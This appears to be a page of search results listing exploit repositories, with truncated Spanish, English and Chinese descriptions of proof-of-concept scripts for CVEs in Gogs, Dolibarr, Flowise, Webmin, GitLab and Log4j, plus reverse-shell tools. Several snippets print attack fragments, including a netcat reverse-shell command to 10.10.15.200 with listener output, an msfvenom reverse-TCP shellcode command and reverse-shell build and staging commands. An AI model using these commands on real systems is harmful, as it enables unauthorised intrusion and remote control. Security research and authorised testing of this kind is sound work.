8651 matches found
CVE-2025-8110-PoC
CVE-2025-8110 PoC Script de prueba de concepto en Python para CVE-2025-8110 — RCE por symlink en UpdateRepoFile de Gogs v0.13.3. Disparo único: el propio PUT malicioso activa git fetch → sshCommand → reverse shell. ⚠️ Solo para fines educativos y de investigación de seguridad autorizada. Ejecutar...
hacktivity-vulns-exploits-lab
Vulnerabilities, Exploits, and Remote Access Payloads — lab writeup My walkthrough and analysis of the Hacktivity Cyber Security Labs sheet "Vulnerabilities, Exploits, and Remote Access Payloads" Ethical Hacking and Penetration Testing course, Leeds Beckett University. It covers how software...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m...
CVE-2023-30253-exploit
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution Exploit de inyección de código PHP para Dolibarr ERP/CRM v17.0.0 que permite obtener una shell reversa como usuario www-data mediante el módulo Website/CMS. ⚠️ Solo para uso educativo y auditorías con autorización. 📑 Índice ¿Qué es...
CVE-2026-6009
⚠️ Descargo de responsabilidad: Este repositorio es solo para fines educativos y pruebas de seguridad autorizadas. No lo utilice en sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas. CVE-2026-6009 Prueba de Concepto Resumen La biblioteca Jaspersoft...
CVE-2025-59528-Flowise-RCE
CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...
pickle_exploit
PickleExploit Demostración de una vulnerabilidad de ejecución remota de código mediante la serialización Pickle en ClearML 🖥️ Este script fue desarrollado por h3x0v3rl0rd. Esta prueba de concepto PoC demuestra una posible vulnerabilidad de seguridad relacionada con la serialización y...
php-reverse-shell
php-reverse-shell...
FreePBX-Reverse-Shell-Module
FreePBX-Reverse-Shell-Module...
synodecrypt
SynoDecrypt Una herramienta para descifrar todos los archivos cifrados de Synology SPK, PAT, .... El trabajo de ingeniería inversa se explica en nuestra entrada de blog. Instalación root@kitploit: pip install -r requirements.txt Uso Primero debes extraer las claves de cifrado y colocarlas en un...
nim-reverse-shell
nim-reverse-shell nim-reverse-shell Ejemplo: root@kitploit: sudo apt install nim actualiza el script en consecuencia root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...
Webmin1.910_exploit
Webmin 1.910 Remote Code Execution Exploit Description: This repository contains a Python 3 script designed to exploit a remote code execution vulnerability in Webmin version 1.910. The script utilizes the sessionlogin.cgi endpoint to perform authentication and deploy a reverse shell payload,...
MS08-067
MS08-067 | CVE-2008-4250 Referencia: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generación del Shellcode Usaremos msfvenom para generar el shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...
yealink_tools
Ingeniería inversa del firmware de Yealink Este repositorio contiene algunas utilidades de script utilizadas durante la ingeniería inversa del firmware de los teléfonos VoIP de Yealink. Para obtener más información sobre esta investigación, lea la entrada del blog...
Rainstorm
================================================================================================ BadBash is a CVE-2014-6271 RCE exploit tool. The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234. Developer : Andy Yang Version : 0.1.0 License :...
PoC-CVE-2019-12840
Exploit for CVE-2019-12840 in Webmin This repository contains a Python script that exploits the CVE-2019-12840 vulnerability in Webmin. Description The script attempts to log in to a Webmin server and then exploit the CVE-2019-12840 vulnerability. The script accepts several command-line arguments...
CVE-2021-44228
Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...
ClearML-CVE-2024-24590
root@kitploit: / | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe PoC de Subida de Artefacto Pickle a ClearML Este proyecto demuestra cómo subir dinámicamente un...
gitlab-cve-2021-22205
gitlab-cve-2021-22205 Un sencillo script bash que explota CVE-2021-22205 contra instancias vulnerables de gitlab Uso root@kitploit: Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to...